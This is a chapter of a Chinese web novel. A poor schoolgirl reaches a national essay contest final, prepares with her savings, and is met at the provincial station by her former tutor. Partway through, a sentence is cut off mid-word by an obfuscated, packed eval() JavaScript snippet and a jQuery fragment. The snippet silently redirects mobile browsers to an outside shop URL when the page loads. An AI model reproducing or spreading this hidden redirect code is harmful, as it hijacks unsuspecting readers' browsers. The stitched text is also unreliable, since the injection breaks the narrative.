十二月下旬，碧城连下两场雪。
旧图书馆的玻璃窗结了一层冰花，风吹木窗框，咯吱作响。
苏念戴着起球的白线手套，站在最里排的书架前。架子上堆满九十年代的旧报纸，纸张黄脆，一碰就掉渣。
她把1998年的《碧城日报》挑出来，摞成半米高。尼龙绳绕过报纸，打个死结，用力一勒，灰尘呛进嗓子眼。
苏念偏过头，咳嗽两声。
传达室大爷坐在藤椅上，听收音机里单田芳讲白眉大侠。他关了收音机，站起身，从抽屉里翻出个棉口罩，扔到长桌上。
“戴上。”大爷端起搪瓷缸子，走到炉子边。
苏念走过去，拿起口罩挂在耳朵上。口罩带子松了，她在脑后打了个结。
炉子上的小铝锅水开了，顶着锅盖哐哐响。大爷拿抹布垫手掀开锅盖，案板上放着黑红糖和老姜。他拿菜刀把姜切片，连着红糖一起拨进滚水里。
一股姜和糖的甜辣气在旧书库里散开。
苏念继续搬报纸。半小时后，架子空了一半。她拍掉校服上的灰，摘下手套。
大爷用一个缺口的白瓷碗，舀了满满一碗姜糖水，推到桌边。
“喝了去上课。”大爷坐回藤椅，重新打开收音机。
苏念端起碗，很烫。她吹着水面，小口喝。姜汤顺着喉管流进胃里，热气散向四肢，旧书库里没暖气，她却出了一身细汗。
喝完水，苏念洗干净碗扣在案板上。她看着窗外飞舞的雪花，拉紧校服拉链，走出图书馆。
周三上午，教务处的李主任拿着个牛皮纸信封，推开初二年级组办公室的门。
“刘老师，你们班苏念的挂号信。”李主任把信封扔在刘国强的办公桌上，“省里寄来的。”
刘国强正拿红笔改数学卷子。他放下笔，撕开信封，里面是份红头文件，顶上印着“青春杯全国中学生作文大赛总决赛通知”。
刘国强把文件从头到尾看了一遍，眉头拧紧。
决赛地点在省城师范大学附属中学，时间是元旦假期的第二天。文件最后一行写着：参赛学生需由指导教师带队，往返车票及一晚住宿费由组委会凭票报销。
刘国强拿着文件，转头看向对面的张老师。
张老师正对着镜子涂护手霜，两手搓得飞快。
“张老师，苏念这决赛通知下来了。”刘国强把文件递过去，“元旦去省城，你是语文老师，得你带队。”
张老师停下动作，扫了眼文件上的日期。“一月二号？”她拧紧护手霜盖子，“刘老师，这我可去不了。元旦我妈给我安排了相亲，男方是税务局的，时间早定好了。”
“这是全国决赛。”刘国强敲了敲桌子，“拿了奖，对咱们学校评优有好处。路费住宿都报销。”
张老师把红头文件推回刘国强桌上，“报销有啥用？大冬天的，坐四个小时绿皮火车去省城，折腾一趟就给五十块钱带队补贴。再说，苏念那作文是林知意辅导的，跟我没关系。”
刘国强头疼。他元旦要带初三的数学补习班，走不开。
办公室门被推开。周雨晴抱着一摞语文练习册走进来。她走到张老师桌前，放下练习册。
她眼尖，扫到了刘国强桌上的红头文件。“青春杯”、“总决赛”几个黑体字印在白纸上，很扎眼。
周雨晴咬了下嘴唇，手在校服口袋里攥紧。她转过身走出办公室，走廊里的冷风吹在脸上，她心里更烦躁。
办公室里，刘国强拉开抽屉，翻出一个黑皮电话本。
“你不去，我总不能让学生自己去。”刘国强翻着电话本，“我看看林知意留的电话。”
张老师拿起红笔继续改卷子，“林知意在省师大读研一，附中就在她们学校隔壁。找她正合适。”
刘国强拿起座机话筒，按下了一串号码。
电话响了五声被接起。
“喂，哪位？”电话那头很安静，有翻书的声音。
“小林啊，我是碧城七中的刘国强。”
“刘老师您好。”
“是这样，苏念进了青春杯全国决赛，元旦要去省城考。学校这边老师抽不出空，你不是在省城吗？能不能帮个忙，接站带她去考场？”
电话那头停顿了两秒。
“好。”林知意的声音传过来，“把车次告诉我，我去火车站接她。”
刘国强松了口气，“行，我让苏念买好票给你打电话。”
挂了电话，刘国强冲门外喊了一声：“张逸飞，去把苏念叫来。”
张逸飞正拿着扫把在走廊里打闹，听见喊声，跑到三班后门，敲了敲门框。“苏念，老刘叫你。”
苏念正在草稿纸上算一道几何题。她放下笔，站起身，走出教室。
周雨晴坐在第一排，看着苏念走出去，手里的圆珠笔在草稿纸上划了重重一道。
苏念走进办公室。
“苏念，青春杯决赛通知来了。”刘国强把红头文件递给她，“元旦去省城。自己去火车站买票，买最便宜的硬座，住宿找个便宜的招待所，发票留好，回来学校报销。”
苏念接过文件，看着上面的字。去省城，要花钱。她盘算着存折里的钱够不够垫付。
“带队老师学校安排好了。”刘国强端起茶杯喝了一口，“张老师没空，我联系了林知意老师。她元旦在省城，到时候去火车站接你。”
苏念的目光凝在文件上。
她捏着纸张的手指收紧，指甲陷进纸里，把文件边缘捏出了一道褶皱。
“听见没有？”刘国强放下茶杯。
“听见了。”苏念把文件折了两折，塞进校服口袋。
她转身走出办公室。
走廊里很空。苏念平时走路总是贴着墙根，步子很小。今天她走在走廊正中间。
走到楼梯拐角的死角，苏念停下脚步。
她左右看了一眼，抓着书包带子，原地跳了一下。
“咚。”
头顶撞到楼梯底下的消防水管。
苏念捂着头顶蹲在地上，不觉得疼。她把手放下来，看着满是灰尘的水泥地，咧开嘴，露出一颗虎牙。
她要见林老师了。
回到教室，苏念拉开椅子坐下。
陈小满凑过来，盯着苏念的头顶，“你头上怎么全是白灰？”
苏念伸手拍了拍头发，灰尘飞下来。“蹭墙上了。”
“老刘找你干嘛？”陈小满压低声音。
“元旦去省城比赛。”苏念翻开数学错题本。
陈小满瞪大眼睛，“去省城？公费旅游啊！你给我带个省城的特产回来。”
“要什么？”
“省城的烤肠。”陈小满咽了口唾沫。
苏念没接话。她拿出红蓝圆珠笔，在错题本上画辅助线。线条笔直，不用尺子。
下午放学，天已经黑透。
苏念背着书包，和陈小满一起走出校门。
“去飞宇。”苏念说。
“你请客我就去。”陈小满裹紧围巾。
“我请。”苏念摸出两块钱。
飞宇网吧里乌烟瘴气。黄毛网管坐在吧台后吃泡面，键盘上全是油。
苏念交了钱，拿到一张写着账号密码的纸条。
走到角落的5号机。开机，蓝色的屏幕亮起。
苏念握着鼠标，点开163邮箱。输入账号，密码。
收件箱旁边，括号里的数字是1。
苏念点开。
发件人：linzhiyi1982。时间是下午两点。
正文只有两句话。
“苏念，刘老师打过电话了。买好车票告诉我时间，我在省城火车站出站口等你。带你吃省城最好吃的牛肉面。”
苏念看着屏幕。网吧里有人在大骂游戏队友，陈小满在旁边戴着耳机敲键盘聊QQ。
苏念把手放在键盘上。她打字的速度比以前快了点，不用两个食指戳了。
“林老师，我明天去买票。我不吃牛肉面，我带了干粮。”
打完，发送。
苏念关了网页。她站起身，“走吧。”
“才十分钟！”陈小满摘下耳机，“剩下一小时五十分钟呢！”
“你玩，我回家。”苏念把椅子推回去，往外走。
走出网吧，冷风吹在脸上。苏念走得很快，青石板路上的坑洼她闭着眼都能躲开。
回到出租屋。
姜翠花正在厨房择白菜。
“外婆。”苏念放下书包，“元旦我要去省城比赛。”
姜翠花手里的白菜叶掉在盆里。“省城？多远啊，你一个人去？”
“林老师在火车站接我。”苏念走到水槽边洗手。
姜翠花听到林老师的名字，松了口气。她在围裙上擦了擦手，“去省城得穿厚点。你那件棉袄袖口都破了，晚上我给你缝缝。”
“不用缝。”苏念擦干手，“我不冷。”
吃完饭，苏念坐在小桌前。她拉开抽
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17874355|211777||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
屉，拿出那个粉色的陶瓷小猪存钱罐。
存钱罐拿在手里沉甸甸的。她拔掉底下的橡胶塞，把里面的钱全倒在床上。
硬币叮当响，还有几张皱巴巴的纸币。
苏念把钱一张张铺平，按面值叠好。一共四十五块八毛。加上教务处发的五百块奖金，她现在有五百四十五块八毛。
去省城的硬座火车票，单程二十二块，来回四十四，招待所一晚三十。
剩下的钱，她要买一样东西。
她把五百块钱重新锁进抽屉，把那四十五块八毛装进校服内/侧的口袋，用别针别死。
周四中午，苏念没去旧图书馆搬书。
她去了学校后街。后街有一排小店，卖文具、杂货和盗版磁带。
苏念走进一家叫“晨光”的文具店，店里挤满了买中性笔的学生。
她走到最里面的玻璃柜台前，柜台里摆着各种笔记本。
苏念指着一本黑色硬皮的厚笔记本。“老板，这个多少钱？”
老板瞥了一眼，“二十五。真皮封面，纸厚，不洇墨。”
苏念从内/侧口袋里摸出钱，数了二十五块，放在玻璃柜台上。
老板拿钥匙打开柜台，把笔记本拿出来。
苏念接过笔记本，很沉，封面通体是黑的。她把笔记本装进书包最里层。
走出文具店，苏念往火车站走。
碧城火车站很破，候车大厅里一股泡面和旱烟味。售票窗口排着长队。
苏念排了半个小时，买到一月一号早上八点去省城的硬座票。
拿着那张粉色的小纸片，苏念看了一遍又一遍。
回到学校，下午第一节是语文课。
张老师在讲台上分析期末试卷的阅读理解。“这道题，必须答出承上启下，否则一分没有。”
苏念没听。她把手伸/进书包，摸着那本黑色硬皮笔记本的边缘。
下课铃响。
苏念背起书包，往外走。
周雨晴站在走廊里，看着苏念的背影。她走到张老师身边，“张老师，苏念去省城的路费，学校真的全报？”
张老师收拾教案，“全报。怎么，你眼红啊？”
周雨晴没说话，转身回了教室。
一月一号早晨。天还没亮，路灯发出昏黄的光。
姜翠花把两个煮熟的鸡蛋塞进苏念的书包侧兜。“在车上吃，别饿着。”
苏念背上书包，走出巷子。
公交车上人很少。苏念坐在窗边，看着窗外的碧城一点点往后退。
到了火车站，检票进站。
绿皮火车停在站台上。苏念找到自己的座位，靠窗。
火车发出一声长鸣，哐当哐当开动了。
车厢里很挤，对面的大叔脱了鞋，脚搭在茶几上。旁边的大妈在嗑瓜子，瓜子皮吐了一地。
苏念没觉得吵。她看着窗外，雪地不断向后退去。
四个小时后，火车减速，驶入省城火车站。
省城比碧城大得多，站台上的顶棚很高，人流朝出站口涌去。
苏念背着书包，顺着人流往前走。
出站口的铁栅栏外面，挤满了接站的人。有人举着牌子，有人在大喊。
苏念走到检票口，把粉色车票递给检票员。
走出铁栅栏，她站在台阶上，在人群中扫视。
人太多了，各种颜色的羽绒服晃得她眼晕。
忽然，她看见了那个人。
出站口右侧的柱子旁，站着一个人。
穿着米白色的长款羽绒服，围着一条红色的粗线围巾。头发扎成低马尾，手里拿着一个纸杯。
林知意正看着出站口，两人的视线对上了。
她举起拿着纸杯的手，挥了挥。
苏念抓紧书包带子，走下台阶。她走得很稳，没有跑。
走到林知意面前，苏念停下脚步。
“林老师。”苏念说。
林知意看着苏念，把手里的纸杯递过去。“省城降温了，拿着暖手。”
纸杯里是热豆浆。苏念接过来，杯壁的温度传到手心。
“走吧。”林知意转身，“先去吃面。”
苏念跟在林知意身后，走出火车站广场。
省城的风很大，吹得路边的树枝乱晃。林知意的红色围巾在风里飘着。
苏念喝了一口热豆浆，很甜。
她摸了摸书包里那本黑色的硬皮笔记本，她想好了要在第一页写什么。